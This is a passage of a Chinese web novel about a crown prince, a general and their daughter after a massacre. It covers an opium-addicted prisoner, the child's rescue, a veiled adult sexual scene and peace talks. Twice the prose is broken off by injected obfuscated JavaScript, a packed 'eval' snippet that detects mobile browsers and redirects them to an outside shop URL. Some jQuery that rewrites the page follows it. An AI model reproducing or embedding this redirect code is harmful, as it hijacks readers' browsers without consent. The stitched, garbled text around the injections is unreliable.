萧玠心中一跳,转头和郑绥对视,郑绥也是愕然又了然。他们的思绪一起飞向蜃楼焚毁之夜,汤惠峦接过酒杯凭栏而饮的那个瞬间。杯中不详的绿光闪烁,在他唇畔熠熠生辉。 府狱铁门打开时,萧玠当即听到重物撞击和哀嚎之声。他脚步一下子停住,有些心有不忍。 汤惠峦到底曾是朝臣,赤身裸体游街示众已是奇耻大辱,再被看到这样不人不鬼的样子……可他害的多少人家破人亡不人不鬼? 萧玠硬起心肠,由黄岩云打开最后一道锁链,把那痛苦的叫声毫无阻隔地放到面前。 看到汤惠峦那一瞬,萧玠还是受到重击。 那简直不是一个人,而是一个伏在地上人形的动物。赭色囚衣本足以蔽体,但已经被他自己撕扯成一片一片。他一听动静立即爬行上前,试图攀拽萧玠的衣角,被黄岩云一脚蹬翻在地。脑袋撞在墙上,却没有发出吃痛的声音,他嘴中仍含糊不清地呜咽:“给我……给我!” 这个人的头发完全蓬乱,脸遮蔽在下,像一堆乱草卷裹的野鬼。萧玠透过他的乱发看到那双混沌痴迷的眼睛。他突然想起奉皇十六年的上林盛宴,自己亲折宫花赐予众进士簪戴。这个人的头明明梳理成乌黑油亮的发髻,戴着崭新官帽,将漆盘中的白玉牡丹簪在鬓边时抬头,眼神是那么温和明亮——为什么会这样? 他的官员他的士子他的文人,为什么会这样? 萧玠问:“你认得我吗?” 乱发缝隙那只眼睛痴滞着,汤惠峦依旧叫道:“给我求求你给我……” 萧玠呼吸急促,问:“你认得你自己吗?” 汤惠峦张着嘴,无声喘息几下,依旧叫道:“给我……给我!” 樾州血色的亡魂和阿芙蓉黑色的烟气虬结成团,从他一张脸上冉冉升起。 萧玠浑身颤抖起来。 角落有一只铁盆,残余半盆污水,大抵是囚犯们饮食之用。萧玠被一股怒其不争的情绪裹挟,大步跨上去拽住汤惠峦,按着他到盆边,发着抖喊道:“你看看吧,你睁开眼看看!你是谁,你是什么人你还记得吗?你是樾州的儿子,你是大梁的官你还记得吗!是不是你撰文屠杀樾州,是不是你带公孙军队进的樾州?!” 汤惠峦冲着盆地污浊的倒影,发出一声短促的嚎叫。 叫声之后,他蜷缩在地上,喃喃道:“给我……再给我一口吧……” 萧玠五指松开,缓缓垂在身侧。他深吸口气,再度起身时已恢复平静。他撑住郑绥手臂,对黄岩云道:“等他清醒了立即报我,想法子把膏瘾给他戒掉。” 黄岩云不忿,“殿下,如此禽兽不千刀万剐,还要救他?” “他和齐国勾结,嘴里一定有我们需要的东西。”萧玠道,“别叫他死了。” 萧玠跨出府狱,被太阳白亮的强光刺得欲落眼泪,不得不抬手遮挡。刚放下袖子,东方彻便跌跌撞撞跑过来,不顾礼仪,拽住他袖子大口喘气:“找到了,找到了!” 萧玠攥紧他手,几乎吐不出气,“什么找到了,谁找到了,旭章找到了吗?!” “郑娘子……郑娘子和拙荆一直躲在地窖里!”东方彻哽咽道,“活着,没缺胳膊没缺腿好好活着……殿下,她们活着啊!” *** 樾州城破之际,颜氏娘子展现了异乎常人的冷静和智慧。被人群冲散后,她没有执着找寻丈夫,也没有随众人亡命奔逃。按她自己的叙述,两个弱女是绝不可能在狂飙百里横行不倦的铁骑追逐下有任何逃生之机的,所以在人们冲出房屋涌向街道之时,她抱起旭章冲向天井——她是樾州人,她深知樾州人民的生存哲学,但有天井,必有地窖。 樾州代代相传的智慧救了她们的性命。她幸运地逃进一个有所贮藏的地窖,靠里面的薯干和豆腐挨过了近一个月的残酷扫荡。地窖空气不通,颜氏每晚都会探听外面响动,但无声音,便带旭章去窖口透气。幸好旭章懂事,少有哭闹;也幸好旭章尚小,对战争没有过多认知,只是问阿耶去了哪里,阿叔去了哪里,阿姨我们什么才能再见他们? “快了,就快了。”颜氏哄道,“睡一觉吧,说不定再睡醒他们就来接我们了。” 旭章缩在她怀里,“可是我怕。我好冷,我想阿耶。我好怕。” 颜氏流着泪给她搓手掌,紧紧抱住她。 “他们会来救我们的。”她喃喃道,“他们一定会来救我们的。” 萧玠从颜氏怀里接过旭章时,两条手臂哆嗦得要郑绥托抱才能稳住。他抱着旭章,一下子跪在她面前,泪如雨下:“你的大恩大德我没齿难忘,这辈子若有驱遣我必当报偿。多谢你带着旭章,颜娘子多谢你救我的女儿。我给你磕头,我给你磕头了。” 颜氏倚靠在东方彻怀里,虚弱无力,听到丈夫着急道:“我们夫妇安能受殿下如此大礼?” 和他一起跪下的还有那位披甲带剑的青年。青年一只手将旭章接在怀里,向她叩首三声后用另一只手搀扶萧玠起身,说:“公廨已经打扫干净,郎中也在等候,明府先带娘子回去好好安养。一个月挨饿受冻,千万不要落下病根。” 送走东方夫妇,萧玠这才顾得上看旭章,却见旭章小脸皱成一团,怎么也叫不醒。他吓得连声哭道:“她怎么了,绥郎,绥郎你看她怎么了?” 郑绥一摸旭章额头,立即道:“有些烫。别哭,别哭,只是小孩子发烧。咱们先回去让郎中瞧瞧。” 郎中诊断后,说旭章是惊悸受冻引发寒症,吃几剂猛药下汗,多睡几日也就好了。萧玠不眠不休,寸步不离地日夜守护,郑绥这天没去军营,也陪在身旁。中夜时分,听见女儿模模糊糊咕哝,两个人忙附上去。 萧玠有些口齿不清,问:“要什么,囡囡要什么?” 好久,才勉强分辨女孩口中字节,不是叫爹就是叫耶。萧玠一听见便捂着脸哭起来,脸埋在郑绥颈窝里,几乎痛恨地控诉道:“幸亏找到了,苍天见怜幸亏有颜娘子带着她……我先没带上她,后面又没要她,她万一真在公孙铄手里……我这辈子下辈子都不能超生了。她要是有个三长两短我怎么活啊?” 郑绥捧住他的脸,低声道:“明长,明长你听我说,咱们闺女福大命大,除了受些惊吓哪有旁的损伤?你想想旭章跟着你,那一刀若砍在她身上她挨得住吗?你想想那么多无辜受害的孩子,咱们要是他们的父母能受得了吗?现在是顶好的了。” 郑绥感到萧玠渐渐安静下去,刚刚在他怀里哭成一滩水后,他的身体又凝固成一块坚冰。 “我要让齐国永远后悔这次东进。”萧玠齿间迸发出前所未有的恨意,“我要让他们血债血偿。” *** 旭章多少受惊,醒来后一时不肯离人。像有一段仍格外粘颜氏,睡觉也要一起。黄岩云拦下,说阿姨阿叔晚间有正事忙,旭章不信,问什么正事?黄岩云一个粗人,只得编道拧糖人,人家要拧糖人拧出个小宝宝呢。 人家夫妻重聚多少不方便,旭章又不肯近生人,萧玠便时时带着她。去公廨带着,去巡视带着,甚至去废墟去营帐都带着。郎中怕旭章再受寒发热,又怕旭章再受惊吓,想要去劝,还是郑绥制止,说殿下幼时在诸公之乱后有过很深的心病,唯恐孩子有此覆辙。至于惊吓。他说做天家的女儿要有胆气,做殿下的女儿更是如此。旭章是樾州大难的幸存者,我们不能让她因为害怕就忘记这件事。 旭章在回归后再次出门是一个艳阳天,太阳穿过飕飕冷风,带来一些寒凉的温暖。萧玠将她抱在手臂间,轻声道:“囡囡,我们会看到很多受伤流血甚至断掉手脚的人,你不怕。你记得阿耶背上那道伤口吗?” 旭章点头。她记得最近几个夜晚,阿耶解掉上衣伏在枕上,露出一道红中发黑、开始结痂的伤口。爹一言不发,鼻息粗重地给阿耶上药,药粉洒落时五根手指有些微颤抖。她记得阿耶抓皱被褥的手指,阿耶仍偏着头,冲她露出笑容。 萧玠说:“阿耶很幸运,那么深的伤口没有死掉。囡囡也很幸运,跟阿姨一直躲在地窖里,还有地瓜吃。不然我们就会成为他们里面的一个。他们很多人因为这次战争失去了自己的爹娘。我们去看看他们,你不要怕他们。” 旭章说:“我不怕,没有爹娘是很伤心的事情。我觉得难过。” 萧玠亲亲她的脸,抱着她步行走向建成难民区的街衢。 旭章抱紧他的脖子,睁大眼睛试图接受和理解眼前的一切——理解漂亮的高楼为什么成为废墟,理解废墟里没有做饭为什么会升出黑烟,理解街道为什么变成粘着黑红斑块的深褐色,理解和她一样大的小孩子为什么看到徼巡队的长刀撕心裂肺地大哭起来,理解人为什么没有眼睛耳朵手臂脚掌变成不像人的样子。最后她听到哭声,但她四下张望,每个人都紧闭嘴巴轻轻颤抖。她意识到这是城市和土地的哭声。 她忍不住问:“你听到哭了吗?阿耶,你能听到哭吗?” “我听到了囡囡。”萧玠说,“就像我以为再也见不到你时的哭声一样。” 这天出门前旭章问了一个问题,战争是什么。回来后她把这个问题深化,试图寻找根果。她仍牵着萧玠一根手指,大眼睛却沉静下去,她问阿耶,为什么要有战争? 萧玠说,战是打仗,争是掠夺,战争是强盗杀人放火。强盗看上了我们家的财产,要杀掉我们来抢占。 他们凭什么这么欺负人? 强盗是从来不讲道理的。 旭章缩在他怀里,许久没说话。萧玠以为她要睡着时,听见女孩小声说,我要赶紧长大,我长大了要把强盗都打跑。 爹和阿耶会把强盗都打跑的。 跑了会不会再回来呀?旭章担忧道,那我就把他们都抓起来。 萧玠笑了笑,再亲亲她的脸,说好厉害呀。可囡囡,再厉害的军官也抓不完所有的强盗。 那我要变得比强盗还厉害。旭章说,我要变得比强盗厉害一百倍,让他们不敢再欺负我们。 好,小小郑将军,我们再听一个故事就要睡觉啦。 我要听女将军的故事。爹说之前娘家里有一个好厉害的女将军。 是,你要叫她姑祖母,她是从前细柳营的怀化大将军。你要记得她的名字,她叫崔清。月朗风清的清。 *** 旭章在身侧,萧玠终于不用郑绥抱着才能睡着,但这些日以来两人已养成同床共枕的习惯。夜深人静之时,他搂着女儿迷迷糊糊之际,听到床前挂盔甲的轻轻磕碰声,便会主动让出一半枕头,等那人热乎的手臂从背后抱过来。 父母的身份让这件事变成一桩合理的家常,它有关风月的原始内涵就此暧昧不明地模糊掉。你相信两个心怀鬼胎的人同衾共被却秋毫无犯吗?这是一件怪事,更是一桩骇闻。尤其在萧玠经历过和沈娑婆如胶似漆、和虞闻道干柴烈火的同床模式后,和郑绥的不越雷池成为他情史上的一个奇迹。对于这奇迹的到来,他们欣然接受,也裹足不前。 在双亲陪伴下,旭章渐渐恢复了从前的活泼,只是夜中惊梦,睡不安稳。郑绥便把大臂上那条红裾边解下来绑到她手腕上,说这是阿耶的父亲留给阿耶的,阿耶送给爹,保佑爹平平安安许多年,现在爹把它送给太阳。有这个在,什么妖魔鬼怪都不敢近我们太阳的身。 萧玠有些讶然。时间久到他几乎要忘记,他居然在小时候把这样重的东西赠给郑绥,自己那时候对郑绥竟有这样重的用心。 他只对郑绥说:“你一直戴着。” 郑绥颔首,“是。” 萧玠说不出什么,捧起旭章的小手,亲了亲那条犹带体温的布条。这段本属于秦灼的寄望,因为郑绥,有了一层更深的含义。 *** 有关颜氏旭章生还的奇迹,并非仅在于天时。据颜氏所言,齐军曾找到甚至进入过这个地窖。 颜氏道:“其实那几日外面的动静已经消停,不知怎么,扫荡突然加紧了。听他们交谈,似乎要找什么人。地窖打开的时候我浑身都凉了,听到有人走下来。我心想完了,绝对完了。如果齐军下来,我就咬舌自尽,但旭章还在我怀里。我死了她怎么办?这么一犹豫,人已经下来了,我也不知道怎么想的,抱着她装死。 “幸亏旭章极其聪颖,我嘱咐之后不哭不闹——那脚步越来越近,怕得我浑身哆嗦,不知他有没有看出来。结果那双脚在我们面前停了一段时间,似乎从旭章身上摘下了什么。 “我听见那人说:两个死人。他说的大梁话,是个年轻人。但我闭着眼睛,没有看到他的脸。等他们走了,旭章告诉我,那个人摘走了她脖子上的玉佩。” 萧玠从颜氏的叙述中捋出一个大致脉络:齐军再次扫荡,很可能是听闻他寻女之事,意图找到此女要挟萧玠;而这个入窖的年轻人,通过这块玉佩断定了旭章的身份,并为他们作出掩护。 但这块太阳玉佩是萧玠私下命人雕琢,少有人知,他是如何据此断定此物与东宫有关? 他究竟是什么人? 此事之后,萧玠回顾战局,开始思索个中古怪。从齐国到樾州若穿越山林,最要紧的就是要克服瘴气。就算有汤惠峦带路,这也是人力无法解决之事。他们真的是汤惠峦带进来的吗?如果不是,那又会是什么路子?汤惠峦为什么还活着,他是怎么做到在父亲眼皮子底下勾结王云楠虞山铖、牵涉阿芙蓉又里通外国仍逍遥法外? 还有父亲。 自己身在樾州的事决计瞒不住父亲,而父亲至今没有亲至,说明京中出现更新的变动。世族刚被自己大范围清洗一遍,短时间内不会再有风浪。杨峥重掌大权,地方有崔鲲和应,这些年新的庶民士子已经有所成长,政局应当不会太过艰难,除非…… 萧玠逼问郑绥,“他身体不好了,是不是?他但凡能下地抬也让人抬来了……他到底怎么了?” 郑绥只得道:“我告诉你。你不要着急。你知道奉皇七年陛下病重,梅统领为他求药救命,太医说,可保十年无虞。” 他眼看萧玠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众将士齐声叫道:“陛下万岁常健,殿下千秋无期!明年开春,管保把齐狗打回老家去!” 一个正到兴头,当即拍掌唱道:“提刀嘞,磨剑嘞——” 一个高声接道:“老少爷们站起来嘞!” “狼来嘞,狗叫嘞——” “打跑畜生——守家园嘞!!” 樾州人民能歌善舞,兴到浓时,所有人你拉着我我拉着你站起来,围着篝火歌舞跑跳。萧玠也被拥簇起来,由郑绥拉着,跳得乱七八糟。但他高兴,他许久没有这么高兴了,高兴也高兴得乱七八糟。 火苗光焰乱溅,把他脸颊烫成醉意般的通红。左边是吃到尽兴后格外豪放的东方彻,右边,右边是那个人,那个人把他的手包在掌心,像一只滚烫的手炉把他炙烤。他看见郑绥的脸就想笑。郑绥正冲他笑。他也就乱七八糟地笑起来。 他突然无比感谢上苍。这样的大灾难后,他们都还活着。活着吃肉喝酒慷慨陈词唱歌跳舞过年守岁。活着真好。一切都真好。 萧玠吃得沉醉,不知道怎么回的军帐,但记得身体挨到那张半硬不硬的行军床时有人几乎快压上自己的身体。他似乎知道是谁。他心里绝对知道。他不是淫.夫也不是荡卝妇,不可能是个人都这么抱人家的颈项。 身上那件白狐皮大氅被解开,月光一样的中衣哗地流了一床。萧玠感觉冷,又因为醉意热得想脱衣裳,但他脱衣的手被人制住。那人也脱了盔甲,靠在萧玠后背的是一片只穿单衣的热烘烘的胸膛。他拉上被子从后合抱住萧玠的一瞬间,萧玠像被捋背的猫一样舒服得举手投降。 半梦半醒间,萧玠看到一缕月光照亮从身后抱到自己腰间的那双手,握着自己手腕,那小麦色也醇厚温柔。萧玠动了动,感觉有什么抵在后头。他莫名其妙想到十五岁的春天,两个人吃醉后相与枕藉在西暖阁床上。他的革带像那物一样硌着自己。 萧玠在醉梦中突然福至心灵。 真的是革带吗? 一个人的体温太热了,酒后的身体太热了,这么多年死灰复燃的感情太热了。洒在两个人身上的月光呈一种暧昧的乳白,他感觉汗毛都躁动起来。他感觉自己产生一种虫蚁爬过的痒意,从心里到骨子里,然后钻出皮肤蔓延整个身体。他没有办法他知道他现在多想要郑绥也只能是郑绥。像一个自然求偶的动物,或一个接近动物的淫.夫荡卝妇。动物是追随欲卝望的,淫卝荡是放.纵.欲卝望的,一直以来他们都是发乎情止乎礼,恪尽职守地扮演克制欲卝望的人。但大生大死后我们还能藏着肮脏的欲卝望做假人吗? 不知哪个瞬间,萧玠感觉被挤开的空隙一下子消失了,那人小心翼翼地撤开。他又要退后了。这叫萧玠着急地喊他:你别动! 郑绥的声音绷紧了,试图说服他:殿下…… 萧玠抬起小腿,蛇一样把他的缠住,他贴紧郑绥蹭动起来。他依旧感觉到放卝荡的耻辱,但他没有停住。他感觉郑绥按住他肩膀,五根手指烙铁一样,隔着衣料都烫得他皮肤咝咝生烟。 郑绥倒吸口气,殿下,不行,你…… 萧玠不说话,依旧我行我素。他清晰感觉到月光凝成一条,也被被中热气焐得迅速膨胀起来。那五根手指对抗的力量减小了,但握着他的力量未减反增。在那只手几乎把萧玠抓痛的瞬间,萧玠感觉自己像片落叶一样被人一下子扫到身下,接着被隔衣这么发动了。他听见郑绥喷在颈项里粗重的呼吸,热得他头抵在被褥间掉下大颗眼泪。他听见郑绥在咬住自己耳垂时越来越急切地叫,殿下……明长、明长! 萧玠想抓他的手,但他两只手全伸进自己裤腰里。他只能从半空滑落,腕上重新串好的佛珠被床角勾断,彻底迷离前萧玠听到满地骨碌骨碌如同命运滚动的木珠之声。 醒来后萧玠看到佛珠完好无损地串在自己手腕上。 帐中昏昏,不知什么时辰。床铺整洁,全无任何混乱的迹象。萧玠感觉自己裤内一片冰凉。 他慌忙跳起来,来不及更换衣裤,跑去翻出一面铜镜,却没从全身上下找到一处痕迹。他清晰记得郑绥咬了自己的后颈耳垂,但现在,他竭尽全力也没摸到半点齿痕。 铜镜砰地掉落在地。 是真的,还是梦? 能做出这种梦,是真是梦还重要吗? 萧玠浑身颤抖起来。 下一刻,他一根箭一样弹射起来,跑去帐外抓住把守营帐的士兵问:“郑将军呢,郑将军在哪里?” 士兵忙道:“西塞战事胶着,将军接到圣旨赶去支援,正好把这些战俘押解过去当谈判条件,刚走没多久,殿下……” 剩下的话音在风中模糊了。士兵还没讲完,便见皇太子松开他往北狂奔而去。 萧玠从不知道自己能跑这么快,几乎像一只鸟一样掠到山坡上。看到北上的军队他才意识到,已经黄昏了,他睡了将近一天后赶上了相送郑绥的夕阳。 樾州气候温暖,正月依旧草满山坡,应时的野花被斜阳涂抹成顽强的紫色。吹乱萧玠长发衣袍的风往北跑去,也吹乱了大军中一枚熟悉的盔缨。萧玠盯着那点越来越远即将熄灭的火红,胸中突然迸发出一股惊人之力。他用前所未有的洪亮声音冲北方招手喊道:“郑宁之!” 可他们离得太远,敲锣也未必听到。在萧玠手臂即将垂落的那一刻,他看到无数涌动的盔顶间,回过郑绥的脸。 萧玠一下子哭了,迎风冲他努力挥手,整个山坡都回荡着一个人的名字:郑宁之——郑宁之……郑宁之! 他似乎看到郑绥嘴唇张合,这么远其实看不到,但他太想知道郑绥说了些什么。接着他看到郑绥的动作——郑绥坐在马背上向他往回摆手。 萧玠这才意识到自己没穿外衣,单衣赤脚地站在花草未衰但凉风飒飒的山坡上。他又一下子笑出来。一会哭一会笑,像个疯子,也像个呆子。夕阳却没有嫌弃他。她站在西北,叫出月亮来接他,把他从自己血色的怀抱里推离了。 124.第 124 章 樾州三月,春暖花开。 东方彻由萧玠再度提拔,一跃两级,任樾州长史,辅佐萧玠理樾州军政要务,整日忙得脚不沾地。这天赶往州府觐见,刚到公廨门口,便见纱帘垂落,罩着萧玠批复文书的影子。 他身边摆一只高脚圆凳,旭章坐在其上,趴在案上握笔写字呢。父女两个也不说话,小人儿挨着大人,各干各的事。 东方彻在帘外道:“臣参见殿下。” 萧玠闻声抬首,笑道:“明达来,我正要使人找你。”又叫旭章:“问阿叔好。” 旭章便放下笔,冲打帘而入的东方彻甜甜叫道:“东方阿叔好。” 东方彻冲她抱袖,“郑娘子好呀。臣观殿下神色,大抵是喜事。” “喜事,天大的喜事!”萧玠笑道,“齐国安国将军孔如期来信,下个月将亲自奉送国书到樾州军营,意在和谈。” 东方彻愣了一下,“他们认输了?” 萧玠点头,“信中几番试探俘虏去向,是这个意思。说是和谈,是想要个台阶。” 东方彻脱口而出:“犯下如此禽兽之举,还想要脸面!” “我叫你来也是要议这件事。”萧玠道,“半年以来,齐军来樾三万,除公孙铄率百人奔逃之外,所剩不过千人。另有两万兵马散布樾州南北四州之间,虽未溃败,但已有疲态。他们如今把主力五万压在西塞,但被西夔营和陇右道大军死死咬住。赵荔城老将军已经重回西塞领兵了,过不了几天,松山营大将军狄皓关也要前来支援。若继续打,未必不能叫他们惨败而归。” 东方彻沉思片刻,“可有天意传达?” 萧玠颔首,“陛下素来主战。” 东方彻问:“陛下之战是指一战之胜,还是虽远必诛?” 萧玠道:“陛下的意思,若继续打,就要打得他们大伤根骨。三代以来,齐国挑动大小战役近五十数,边境百姓饱受其苦。既已发兵,须得彻底铲除这个虎视眈眈的强患。” 东方彻心中惊动,齐国据地辽阔,亦是强邦大国。要根除此患,岂不是要以倾国之力来打这一仗?这一仗……几年才能打完? “所以陛下举棋未定。”萧玠叹道,“齐军阴险,和谈只是形势所迫,此战之后五年之内能否太平下去,还是未知。但此战牵连并非仅有樾州,陇右道山南道十数州百数郡都元气大损,百姓流离失所家破人亡,亦不知此战之后五年之内能否恢复过来。明达,兴亡百姓苦。” 东方彻听出一些意思,“殿下倾向接受和谈?” “先听听他们使者的意思吧。”萧玠道,“齐军真的认罪投降,未必不好。但他们必须把屠城之士全部交出来。” 萧玠静静道:“这是底线,不然我哪天死了,也不能瞑目。” 东方彻整理衣衫,向萧玠抱袖躬身,“殿下所行,臣必趋从。” 萧玠道:“明达,你和众员先商议商议开什么条件,拟一个草稿给我。且齐军狡诈,越是此时越不能放松警惕。徼巡要加紧,各隘口严阵以待,尤其是山林之处,提防齐军故技重施。” 东方彻拜道:“臣谨遵殿下令旨。” 谈完公事,萧玠笑意也更柔和:“好啦,坐吧。怎么都是一桩好事,大伙也能松一口气。明达行事端直,爱民如子,本当着重嘉奖。只是战事未停,现在还不是论功行赏之时。” 东方彻刚从下首坐下,忙站起来道:“殿下挺身当先,臣岂敢居功,不过略尽职分而已。再说真论功劳,郑将军当是首功。” 旭章闻声问:“是爹吗?” 萧玠轻轻捏她脸颊,笑道:“妮子耳朵尖,是你爹。” 东方彻也笑起来:“齐国现在有投降之意,是将军在西塞作战勇武,叫他们闻风丧胆。听闻继之前的公孙冶、最近的厉金璋之后,郑将军再斩齐国卫将军董紫绶,齐国五虎有三员大将折于郑将军之手,怎能不叫军威大振!据说庸峡鏖战至第七日风云变色,两军对垒之际,将军请得李文正公显灵助阵,三道战书就把对面吓得六神无主,更别说还请得天兵下降。将军真是神哪!” 听他这番绘声绘色,萧玠笑得更厉害,“明达读书人,也信鬼神之说?” 东方彻叹道:“臣原本不信,但西夔营的老兵眼见了战书,说的确是文正公亲笔。臣听闻文正公飞白之技已臻至境,今又绝代,这个如何作假?” “至境是不错,绝代却未必。”萧玠道,“明达知道,她爹是崤北郑氏,冠军大将军郑素是由青文忠公亲自教养。飞白之技本是青氏绝学。” 东方彻一愣,“那显灵和天兵?” “大抵是叫几个人扮作文正公的模样,又派疑兵作奇装异服妆神罢了。齐国信重巫鬼,又在老师手上屡战屡败,二十余年虽过余威犹在。”萧玠看他一脸惊异,忍不住笑道,“兵家把戏而已,明达见多识广,怎么这样吃惊?” 东方彻嘴巴过一会才合上,“臣只是没想到,郑将军军旅之人又年纪轻轻,书道竟已大成。若不投军,有如此家学天赋,也能百代流芳。” 萧玠笑道:“哪有什么家学天赋,苦功夫罢了。他小时候练字,寒冬手上生疮也未辍一日。”说着低头看旭章,“不像有些小女孩,没写两个字呢,一会要吃糕饼,一会要画兔子。” 旭章嘟哝:“肚子饿了嘛,肚子饿了怎么能不吃东西呢?” 萧玠笑问:“那画兔子呢?” “其实是想画阿耶的。”旭章抿起嘴巴,“但怕把阿耶画丑爹知道了说我,就先画兔子了。” 萧玠左右不办公了,便把文书挪开,将女儿抱到膝盖上,拿帕子擦她蹭脏的手脸。东方彻看在眼里,突然想起菊崖县一桩并无恶意的桃色谈论,有关太子和将军之间那条宛如红线但颜色透明的绳结。萧玠从不讳言自己和郑绥跟旭章的关系,却对两个大人之间的事情避而不谈。可只是不谈,又从不忌讳眼神脉脉传递和日夜共枕而眠。 东方彻如果能像怀帝年号期间的一些老人一样旁观过太子的家族史或皇帝的情爱史,会发现爱情对这条叛逆的萧氏血脉来说,就是这样一条有分无名或有名无分的腕间绳结。系结的人这辈子没法走散哪怕会暂时走远。 他老僧入定般端坐许久,突然福至心灵,想起自己赶来的初衷,忙奉送一封书信:“是西塞送来的加急信件。臣掂着不像战报。” 萧玠接过,拆开一看,笑道:“是家书。” 东方彻适时出门,纱帘落下时微风拂面,飘在地上一片曳如春波的绿影。他听到女孩的童音和萧玠笑起来柔和的鼻息,这让他想到娇娇听他念《笑林》时睇过来的眼波。 春天到了,草长莺飞春暖花开,三月会是个好时季。 东方彻离开后,萧玠又将那只未送出手的香囊拿出来。因他贴身携带,在樾州之乱里也未曾丢失,只是被鲜血洇透,难以洗去。但这一点腥锈气息,并不妨碍香囊中降真香做君的独特香气。 他看香囊,旭章便黏在他怀里看信,有些字不认识,只能看个大概,问:“爹是不是要回来?啊,爹是不是受伤了?” 萧玠哄道:“爹只受了些小伤,不好骑马,这次坐车回来。反正也打完仗了,不着急赶路。等樾州的事了了,咱们就一块家去。” 旭章怕他诓自己,“爹之前说要夏天才回来的。” 萧玠道:“过几天齐国派使者来樾州谈话,爹不太放心。” “不放心齐国人吗?还是不放心阿耶自己在这里?” 萧玠笑了笑,“回来咱们问问他。” 旭章靠在案上,托腮看萧玠,她知道阿耶虽常笑,但眉心常有淡淡的皱痕。旭章是个聪明的小女孩,她直觉阿耶眉间并非忧愁,而是更复杂更隐秘、甜蜜和苦涩交织的感情。她直觉这和爹密不可分。 旭章指了指那只香囊,“要送给爹吗?” 萧玠笑应:“嗯。” 旭章便问:“阿耶想爹了吗?” 她没想到阿耶这次异常直白。他应道:“是,幸亏爹要回来了。” 旭章问:“爹回来,阿耶答应他吗?” 萧玠讶然垂首,从女儿眼中看到闪烁的超越她年龄和智慧的光芒。旭章轻轻道:“别人家里,爹和娘是一对儿,但我知道,咱家不一样。” 萧玠问:“你爹跟你说过?” 旭章摇摇头,又点点头。 萧玠笑道:“这是什么意思?” “咱们在船上找着爹那天晚上,东方阿叔和娇娇阿姨在亲亲,阿耶捂我眼睛,但我瞧见了。然后阿耶进去给我拿褂子,我就继续问爹,为什么我不能和小表哥亲亲,他们就可以。爹说,他们是相好。我说,那爹和阿耶都会亲亲我,是不是我们也相好呀。” 萧玠笑一声,“你爹怎么说?” “爹说,不是,他们是夫妻,就跟家里的爹和娘一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724720|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旭章说着又想到那天的凉风,藕花香气间,静静水波送过淡淡皱痕。她叫爹坚实的臂膀抱在怀里,疑惑道,但爹和娘不会亲呀。 爹没作答。 她声音很小,阿叔阿姨背身像船舱,想是一直没发现他们,笑着对视一阵,又轻轻亲起来。一种隐秘但神圣的感情把旭章包裹了。她用一种严肃的探究态度看着两个人,认真观察他们的目光,最终得出一个结论。 她问,爹,你刚刚是想亲阿耶吗? 她很久没听见爹答话。 在她以为爹不会回答,以及阿耶脚步声传来之前,她听见头顶轻轻的一个:嗯。 旭章复述完毕后,萧玠好一会没说话。 旭章仍窝在他怀里,从他抱自己的动作中判断出他没有生气,继续追问:“你答应他,就叫相好吗?” 萧玠没有沉默很久,应:“是。” “你会亲亲他吗,他也会亲亲你吗?你们也会拧糖人吗?” “会。”萧玠又补充道,“如果你爹愿意,就会。” “那你们拧糖人会拧出小孩吗?”旭章有些害怕,“吴州的哥哥姐姐说,他们的爹娘都会再要小孩的。” 萧玠抱紧她,轻声道:“不会,我们只要太阳一个宝贝。我们不要别的小孩。” 旭章小脸贴在萧玠颊畔,抱着他脖子好一会,小声问:“所以你答应他吗?” 萧玠笑起来,“你是个小急鬼呀。等你爹回来,他问我,我就应。” 旭章反而忐忑,“他没问怎么办?” 萧玠笑着捏捏她的鼻子,“他不问,阿耶不能自己同他讲么?安心了吧,安心了再写一篇字,抄爹的诗好不好。这篇是阿耶十四岁生日,爹给阿耶作的第一首诗。他诗题拟的老气,什么《侍宴含元殿奉敕为皇太子作诗》,你以后作诗千万不要学他……” *** 三月春夜,冷月如盘。 这夜初始,萧玠没有感到任何异常。他在亥时批完公文后,照例去晾到温凉的水中泡了泡。他体质不比萧恒,到底不敢直接洗冷水。前一阵以来神经紧绷,长生发作之痛有时都难以察觉。如今缓过劲,常感觉浑身作痛。他靠在水里,感觉身体冷热交加,手臂也渐渐绷紧。 神思迷离间,萧玠听到院中传来一阵嘹亮的狗叫。 樾州视狗如仇,却对公廨的两条黑犬破例,无他,全因它们在搜救百姓时立下大功。且是郑绥从外州带来的,未沾染闻慎行血肉。 这两条黑犬常与人处,性情温良,很少在夜间如此躁动。 萧玠第一反应是院中进了人,胡乱擦干身体裹好衣袍,提高声音问门前守卫:“有人进院?” 守卫仔细探看一遍,“没有,但不知狗怎么叫得这么厉害,浑身的毛都倒竖了。” 萧玠担忧旭章害怕,没多逗留,回去拍打女儿睡觉。夜中寂静,狗叫愈发洪亮,似乎不独公廨的狗,附近的不论家养还是野外的狗全部和声鸣叫起来,形成的巨大声弧豁然破开黑夜的腹部。在明亮惨白的月光下,尖锐地十分瘆人。 反常必妖,萧玠直觉不对,立即再叫守卫,“快去城门,看看是不是又有变动。全军戒备,今夜……” “殿下!”萧玠的声音被砰然撞开的大门打断。 黄岩云跌跌撞撞跑进来,脸上是哪怕临阵之时也从未产生的恐惧。他哆哆嗦嗦道:“是狼兵,狼兵进城了!” 萧玠还没有领悟“狼兵”是一个形容还是确指,街外已经爆发出层层堆叠的声浪。比狗叫高深,比犬吠辽阔,是家养的犬类未被驯化的远亲和始祖的声音。 无数个疑问冲刷着萧玠大脑:这些狼受谁驱使,它们是怎么进的城?只有狼,还有人吗?来了多少,能不能制服?这个狼兵,真的是用狼组成的军队吗? 萧玠听到自己的声音跑出喉咙:“立即叫几位将军率兵抵御,务必保证全城百姓安全!这是军令!你带一支兵,护送百姓撤离至安全地带。火……狼怕火!用火!” 他的火字落音、真正的火把尚未点起时,院□□箭般响起嗖嗖冷风。那有实质的数道黑风腾跃而入,带着一群幽幽的绿眼睛。 